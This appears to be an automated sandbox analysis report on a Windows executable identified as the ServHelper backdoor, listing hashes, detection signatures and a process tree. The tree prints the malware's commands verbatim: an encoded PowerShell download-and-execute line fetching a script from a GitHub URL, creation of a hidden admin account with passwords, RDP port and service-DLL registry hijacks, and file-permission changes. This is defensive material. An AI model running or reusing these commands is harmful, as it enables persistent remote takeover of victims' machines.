Analysis

  • max time kernel
    122s
  • max time network
    174s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    29-06-2021 19:26

General

  • Target

    e52eabc5e45c4204fb0c892916c3b12b.exe

  • Size

    4.5MB

  • MD5

    e52eabc5e45c4204fb0c892916c3b12b

  • SHA1

    7d70fb674d3c9fa834b07f5acdc0a17bb80e181d

  • SHA256

    d9ec3c5cf92b5b3aa1d59949cf1eafb9c695d35ce9872215ba8b189d40c66823

  • SHA512

    8462839fd048b0c027a499450e47d0533ba85ac7ab8917bf13663cd974fd1b2610dfb1cdf5cac768e58a267a49478e7685c6580edd7bd99261814fdcae03b5ad

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e52eabc5e45c4204fb0c892916c3b12b.exe
    "C:\Users\Admin\AppData\Local\Temp\e52eabc5e45c4204fb0c892916c3b12b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1556
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3jz0dclp\3jz0dclp.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD9BC.tmp" "c:\Users\Admin\AppData\Local\Temp\3jz0dclp\CSC2946EB24208B48B08C5BA92B2C9CB3AF.TMP"
          4⤵
            PID:620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1720
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:912
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1260
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:456
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1796
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1504
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1792
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:760
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1600
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1004
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1008
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1776
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1280
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1980
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1408
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1684
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1944
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:728
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:792
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:300
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1960
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:880
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1752
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1260
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:728
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1776
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user wgautilacc Ghar4f5 /del
                            1⤵
                              PID:968
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc Ghar4f5 /del
                                2⤵
                                  PID:1584
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                    3⤵
                                      PID:832
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user wgautilacc Mf4h9Psb /add
                                  1⤵
                                    PID:956
                                    • C:\Windows\system32\net.exe
                                      net.exe user wgautilacc Mf4h9Psb /add
                                      2⤵
                                        PID:948
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user wgautilacc Mf4h9Psb /add
                                          3⤵
                                            PID:912
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        1⤵
                                          PID:1964
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            2⤵
                                              PID:1784
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                                3⤵
                                                  PID:952
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1256
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1684
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1364
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    1⤵
                                                      PID:1600
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                        2⤵
                                                          PID:616
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                            3⤵
                                                              PID:832
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user wgautilacc Mf4h9Psb
                                                          1⤵
                                                            PID:1776
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user wgautilacc Mf4h9Psb
                                                              2⤵
                                                                PID:1608
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user wgautilacc Mf4h9Psb
                                                                  3⤵
                                                                    PID:960
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1784
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1936
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:340
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1004
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:760
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:928
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1608

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/856-60-0x0000000041370000-0x000000004161A000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/856-65-0x0000000041047000-0x0000000041048000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/856-63-0x0000000041044000-0x0000000041046000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/856-64-0x0000000041046000-0x0000000041047000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/856-62-0x0000000041042000-0x0000000041044000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/912-128-0x0000000002560000-0x0000000002561000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/912-130-0x000000001B7B0000-0x000000001B7B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/912-133-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/912-132-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/912-134-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/912-135-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1260-156-0x000000001AB30000-0x000000001AB32000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1260-157-0x000000001AB34000-0x000000001AB36000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1556-87-0x000000001A860000-0x000000001A861000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-86-0x000000001B750000-0x000000001B751000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-67-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1556-158-0x000000001C570000-0x000000001C571000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-69-0x000000001ABE0000-0x000000001ABE1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-68-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-70-0x0000000002620000-0x0000000002621000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-71-0x000000001AB60000-0x000000001AB62000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1556-72-0x000000001AB64000-0x000000001AB66000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1556-73-0x0000000002710000-0x0000000002711000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-75-0x000000001C3A0000-0x000000001C3A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-102-0x000000001AB6A000-0x000000001AB89000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1556-83-0x0000000002410000-0x0000000002411000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1556-85-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1608-207-0x000000001954A000-0x0000000019569000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1608-206-0x0000000019544000-0x0000000019546000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1608-205-0x0000000019540000-0x0000000019542000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-107-0x000000001B810000-0x000000001B811000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1720-93-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-101-0x00000000023E0000-0x00000000023E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1720-100-0x000000001B3F0000-0x000000001B3F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1720-94-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1720-98-0x000000001B700000-0x000000001B701000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1720-96-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1720-120-0x000000001B930000-0x000000001B931000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1720-121-0x000000001B940000-0x000000001B941000-memory.dmp

                                                                        Filesize

                                                                        4KB